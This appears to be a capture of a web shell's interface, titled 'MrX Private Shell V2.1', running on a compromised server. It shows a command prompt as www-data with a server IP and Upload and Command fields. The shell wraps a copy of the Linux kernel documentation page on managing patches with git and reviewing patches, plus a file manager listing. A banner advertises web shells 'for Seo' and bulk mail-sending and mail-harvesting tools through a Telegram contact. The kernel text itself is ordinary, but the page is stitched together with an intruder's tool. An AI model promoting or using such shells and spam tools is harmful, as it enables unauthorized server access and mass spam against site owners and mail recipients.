__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.52: ~ $
<!DOCTYPE html>

<html lang="en" data-content_root="../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>7. Advanced topics &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../_static/alabaster.css?v=3918102e" />
    <script src="../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../_static/doctools.js?v=9bcbadda"></script>
    <script src="../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../genindex.html" />
    <link rel="search" title="Search" href="../search.html" />
    <link rel="next" title="8. For more information" href="8.Conclusion.html" />
    <link rel="prev" title="6. Followthrough" href="6.Followthrough.html" />
   
  <link rel="stylesheet" href="../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../index.html">
              <img class="logo" src="../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul class="current">
<li class="toctree-l1 current"><a class="reference internal" href="development-process.html">Development process</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="1.Intro.html">1. Introduction</a></li>
<li class="toctree-l2"><a class="reference internal" href="2.Process.html">2. How the development process works</a></li>
<li class="toctree-l2"><a class="reference internal" href="3.Early-stage.html">3. Early-stage planning</a></li>
<li class="toctree-l2"><a class="reference internal" href="4.Coding.html">4. Getting the code right</a></li>
<li class="toctree-l2"><a class="reference internal" href="5.Posting.html">5. Posting patches</a></li>
<li class="toctree-l2"><a class="reference internal" href="6.Followthrough.html">6. Followthrough</a></li>
<li class="toctree-l2 current"><a class="current reference internal" href="#">7. Advanced topics</a><ul>
<li class="toctree-l3"><a class="reference internal" href="#managing-patches-with-git">7.1. Managing patches with git</a></li>
<li class="toctree-l3"><a class="reference internal" href="#reviewing-patches">7.2. Reviewing patches</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="8.Conclusion.html">8. For more information</a></li>
<li class="toctree-l2"><a class="reference internal" href="8.Conclusion.html#conclusion">9. Conclusion</a></li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1 current"><a class="reference internal" href="index.html">All development-process docs</a><ul class="current">
<li class="toctree-l2 current"><a class="reference internal" href="index.html#an-introduction-to-how-kernel-development-works">An introduction to how kernel development works</a><ul class="current">
<li class="toctree-l3"><a class="reference internal" href="howto.html">HOWTO do Linux kernel development</a></li>
<li class="toctree-l3 current"><a class="reference internal" href="development-process.html">A guide to the Kernel Development Process</a></li>
<li class="toctree-l3"><a class="reference internal" href="submitting-patches.html">Submitting patches: the essential guide to getting your code into the kernel</a></li>
<li class="toctree-l3"><a class="reference internal" href="submit-checklist.html">Linux Kernel patch submission checklist</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="index.html#tools-and-technical-guides-for-kernel-developers">Tools and technical guides for kernel developers</a></li>
<li class="toctree-l2"><a class="reference internal" href="index.html#policy-guides-and-developer-statements">Policy guides and developer statements</a></li>
<li class="toctree-l2"><a class="reference internal" href="index.html#dealing-with-bugs">Dealing with bugs</a></li>
<li class="toctree-l2"><a class="reference internal" href="index.html#maintainer-information">Maintainer information</a></li>
<li class="toctree-l2"><a class="reference internal" href="index.html#other-material">Other material</a></li>
</ul>
</li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1"><a class="reference internal" href="../subsystem-apis.html">Subsystems</a></li>
<li class="toctree-l1"><a class="reference internal" href="../locking/index.html">Locking</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../trace/index.html">Tracing</a></li>
<li class="toctree-l1"><a class="reference internal" href="../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../arch/index.html">CPU architectures</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../_sources/process/7.AdvancedTopics.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  




<div class="language-selection">
English

<ul>

<li><a href="../translations/zh_CN/process/7.AdvancedTopics.html">Chinese (Simplified)</a></li>

<li><a href="../translations/zh_TW/process/7.AdvancedTopics.html">Chinese (Traditional)</a></li>

<li><a href="../translations/it_IT/process/7.AdvancedTopics.html">Italian</a></li>

<li><a href="../translations/sp_SP/process/7.AdvancedTopics.html">Spanish</a></li>

</ul>
</div>
<section id="advanced-topics">
<span id="development-advancedtopics"></span><h1><span class="section-number">7. </span>Advanced topics<a class="headerlink" href="#advanced-topics" title="Link to this heading">¶</a></h1>
<p>At this point, hopefully, you have a handle on how the development process
works.  There is still more to learn, however!  This section will cover a
number of topics which can be helpful for developers wanting to become a
regular part of the Linux kernel development process.</p>
<section id="managing-patches-with-git">
<h2><span class="section-number">7.1. </span>Managing patches with git<a class="headerlink" href="#managing-patches-with-git" title="Link to this heading">¶</a></h2>
<p>The use of distributed version control for the kernel began in early 2002,
when Linus first started playing with the proprietary BitKeeper
application.  While BitKeeper was controversial, the approach to software
version management it embodied most certainly was not.  Distributed version
control enabled an immediate acceleration of the kernel development
project.  In current times, there are several free alternatives to
BitKeeper.  For better or for worse, the kernel project has settled on git
as its tool of choice.</p>
<p>Managing patches with git can make life much easier for the developer,
especially as the volume of those patches grows.  Git also has its rough
edges and poses certain hazards; it is a young and powerful tool which is
still being civilized by its developers.  This document will not attempt to
teach the reader how to use git; that would be sufficient material for a
long document in its own right.  Instead, the focus here will be on how git
fits into the kernel development process in particular.  Developers who
wish to come up to speed with git will find more information at:</p>
<blockquote>
<div><p><a class="reference external" href="https://git-scm.com/">https://git-scm.com/</a></p>
<p><a class="reference external" href="https://www.kernel.org/pub/software/scm/git/docs/user-manual.html">https://www.kernel.org/pub/software/scm/git/docs/user-manual.html</a></p>
</div></blockquote>
<p>and on various tutorials found on the web.</p>
<p>The first order of business is to read the above sites and get a solid
understanding of how git works before trying to use it to make patches
available to others.  A git-using developer should be able to obtain a copy
of the mainline repository, explore the revision history, commit changes to
the tree, use branches, etc.  An understanding of git’s tools for the
rewriting of history (such as rebase) is also useful.  Git comes with its
own terminology and concepts; a new user of git should know about refs,
remote branches, the index, fast-forward merges, pushes and pulls, detached
heads, etc.  It can all be a little intimidating at the outset, but the
concepts are not that hard to grasp with a bit of study.</p>
<p>Using git to generate patches for submission by email can be a good
exercise while coming up to speed.</p>
<p>When you are ready to start putting up git trees for others to look at, you
will, of course, need a server that can be pulled from.  Setting up such a
server with git-daemon is relatively straightforward if you have a system
which is accessible to the Internet.  Otherwise, free, public hosting sites
(Github, for example) are starting to appear on the net.  Established
developers can get an account on kernel.org, but those are not easy to come
by; see <a class="reference external" href="https://kernel.org/faq/">https://kernel.org/faq/</a> for more information.</p>
<p>The normal git workflow involves the use of a lot of branches.  Each line
of development can be separated into a separate “topic branch” and
maintained independently.  Branches in git are cheap, there is no reason to
not make free use of them.  And, in any case, you should not do your
development in any branch which you intend to ask others to pull from.
Publicly-available branches should be created with care; merge in patches
from development branches when they are in complete form and ready to go -
not before.</p>
<p>Git provides some powerful tools which can allow you to rewrite your
development history.  An inconvenient patch (one which breaks bisection,
say, or which has some other sort of obvious bug) can be fixed in place or
made to disappear from the history entirely.  A patch series can be
rewritten as if it had been written on top of today’s mainline, even though
you have been working on it for months.  Changes can be transparently
shifted from one branch to another.  And so on.  Judicious use of git’s
ability to revise history can help in the creation of clean patch sets with
fewer problems.</p>
<p>Excessive use of this capability can lead to other problems, though, beyond
a simple obsession for the creation of the perfect project history.
Rewriting history will rewrite the changes contained in that history,
turning a tested (hopefully) kernel tree into an untested one.  But, beyond
that, developers cannot easily collaborate if they do not have a shared
view of the project history; if you rewrite history which other developers
have pulled into their repositories, you will make life much more difficult
for those developers.  So a simple rule of thumb applies here: history
which has been exported to others should generally be seen as immutable
thereafter.</p>
<p>So, once you push a set of changes to your publicly-available server, those
changes should not be rewritten.  Git will attempt to enforce this rule if
you try to push changes which do not result in a fast-forward merge
(i.e. changes which do not share the same history).  It is possible to
override this check, and there may be times when it is necessary to rewrite
an exported tree.  Moving changesets between trees to avoid conflicts in
linux-next is one example.  But such actions should be rare.  This is one
of the reasons why development should be done in private branches (which
can be rewritten if necessary) and only moved into public branches when
it’s in a reasonably advanced state.</p>
<p>As the mainline (or other tree upon which a set of changes is based)
advances, it is tempting to merge with that tree to stay on the leading
edge.  For a private branch, rebasing can be an easy way to keep up with
another tree, but rebasing is not an option once a tree is exported to the
world.  Once that happens, a full merge must be done.  Merging occasionally
makes good sense, but overly frequent merges can clutter the history
needlessly.  Suggested technique in this case is to merge infrequently, and
generally only at specific release points (such as a mainline -rc
release).  If you are nervous about specific changes, you can always
perform test merges in a private branch.  The git “rerere” tool can be
useful in such situations; it remembers how merge conflicts were resolved
so that you don’t have to do the same work twice.</p>
<p>One of the biggest recurring complaints about tools like git is this: the
mass movement of patches from one repository to another makes it easy to
slip in ill-advised changes which go into the mainline below the review
radar.  Kernel developers tend to get unhappy when they see that kind of
thing happening; putting up a git tree with unreviewed or off-topic patches
can affect your ability to get trees pulled in the future.  Quoting Linus:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>You can send me patches, but for me to pull a git patch from you, I
need to know that you know what you&#39;re doing, and I need to be able
to trust things *without* then having to go and check every
individual change by hand.
</pre></div>
</div>
<p>(<a class="reference external" href="https://lwn.net/Articles/224135/">https://lwn.net/Articles/224135/</a>).</p>
<p>To avoid this kind of situation, ensure that all patches within a given
branch stick closely to the associated topic; a “driver fixes” branch
should not be making changes to the core memory management code.  And, most
importantly, do not use a git tree to bypass the review process.  Post an
occasional summary of the tree to the relevant list, and, when the time is
right, request that the tree be included in linux-next.</p>
<p>If and when others start to send patches for inclusion into your tree,
don’t forget to review them.  Also ensure that you maintain the correct
authorship information; the git “am” tool does its best in this regard, but
you may have to add a “From:” line to the patch if it has been relayed to
you via a third party.</p>
<p>When requesting a pull, be sure to give all the relevant information: where
your tree is, what branch to pull, and what changes will result from the
pull.  The git request-pull command can be helpful in this regard; it will
format the request as other developers expect, and will also check to be
sure that you have remembered to push those changes to the public server.</p>
</section>
<section id="reviewing-patches">
<span id="development-advancedtopics-reviews"></span><h2><span class="section-number">7.2. </span>Reviewing patches<a class="headerlink" href="#reviewing-patches" title="Link to this heading">¶</a></h2>
<p>Some readers will certainly object to putting this section with “advanced
topics” on the grounds that even beginning kernel developers should be
reviewing patches.  It is certainly true that there is no better way to
learn how to program in the kernel environment than by looking at code
posted by others.  In addition, reviewers are forever in short supply; by
looking at code you can make a significant contribution to the process as a
whole.</p>
<p>Reviewing code can be an intimidating prospect, especially for a new kernel
developer who may well feel nervous about questioning code - in public -
which has been posted by those with more experience.  Even code written by
the most experienced developers can be improved, though.  Perhaps the best
piece of advice for reviewers (all reviewers) is this: phrase review
comments as questions rather than criticisms.  Asking “how does the lock
get released in this path?” will always work better than stating “the
locking here is wrong.”</p>
<p>Another technique that is useful in case of a disagreement is to ask for others
to chime in. If a discussion reaches a stalemate after a few exchanges,
then call for opinions of other reviewers or maintainers. Often those in
agreement with a reviewer remain silent unless called upon.
The opinion of multiple people carries exponentially more weight.</p>
<p>Different developers will review code from different points of view.  Some
are mostly concerned with coding style and whether code lines have trailing
white space.  Others will focus primarily on whether the change implemented
by the patch as a whole is a good thing for the kernel or not.  Yet others
will check for problematic locking, excessive stack usage, possible
security issues, duplication of code found elsewhere, adequate
documentation, adverse effects on performance, user-space ABI changes, etc.
All types of review, if they lead to better code going into the kernel, are
welcome and worthwhile.</p>
<p>There is no strict requirement to use specific tags like <code class="docutils literal notranslate"><span class="pre">Reviewed-by</span></code>.
In fact reviews in plain English are more informative and encouraged
even when a tag is provided, e.g. “I looked at aspects A, B and C of this
submission and it looks good to me.”
Some form of a review message or reply is obviously necessary otherwise
maintainers will not know that the reviewer has looked at the patch at all!</p>
<p>Last but not least patch review may become a negative process, focused
on pointing out problems. Please throw in a compliment once in a while,
particularly for newbies!</p>
</section>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../_sources/process/7.AdvancedTopics.rst.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

Name Type Size Permission Actions
debugging Folder 0755
1.Intro.html File 26.25 KB 0644
2.Process.html File 38.25 KB 0644
3.Early-stage.html File 22.27 KB 0644
4.Coding.html File 34.43 KB 0644
5.Posting.html File 30.57 KB 0644
6.Followthrough.html File 22.63 KB 0644
7.AdvancedTopics.html File 21.14 KB 0644
8.Conclusion.html File 13.54 KB 0644
adding-syscalls.html File 58.47 KB 0644
applying-patches.html File 33.05 KB 0644
backporting.html File 49.43 KB 0644
botching-up-ioctls.html File 21.79 KB 0644
changes.html File 42.07 KB 0644
code-of-conduct-interpretation.html File 22.68 KB 0644
code-of-conduct.html File 14.53 KB 0644
coding-style.html File 98.83 KB 0644
contribution-maturity-model.html File 14.52 KB 0644
cve.html File 15.15 KB 0644
deprecated.html File 39.47 KB 0644
development-process.html File 15.3 KB 0644
email-clients.html File 27.92 KB 0644
embargoed-hardware-issues.html File 30.38 KB 0644
handling-regressions.html File 53.27 KB 0644
howto.html File 43.23 KB 0644
index.html File 18.69 KB 0644
kernel-docs.html File 40.23 KB 0644
kernel-driver-statement.html File 15.77 KB 0644
kernel-enforcement-statement.html File 15.68 KB 0644
license-rules.html File 31.97 KB 0644
maintainer-handbooks.html File 12.54 KB 0644
maintainer-kvm-x86.html File 33.84 KB 0644
maintainer-netdev.html File 43.2 KB 0644
maintainer-pgp-guide.html File 59.48 KB 0644
maintainer-soc-clean-dts.html File 9.35 KB 0644
maintainer-soc.html File 20.23 KB 0644
maintainer-tip.html File 48.01 KB 0644
maintainers.html File 4.5 MB 0644
management-style.html File 25.34 KB 0644
programming-language.html File 16.67 KB 0644
researcher-guidelines.html File 18.47 KB 0644
security-bugs.html File 14.88 KB 0644
stable-api-nonsense.html File 19.71 KB 0644
stable-kernel-rules.html File 21.98 KB 0644
submit-checklist.html File 19.31 KB 0644
submitting-patches.html File 68.39 KB 0644
volatile-considered-harmful.html File 15.62 KB 0644
Filemanager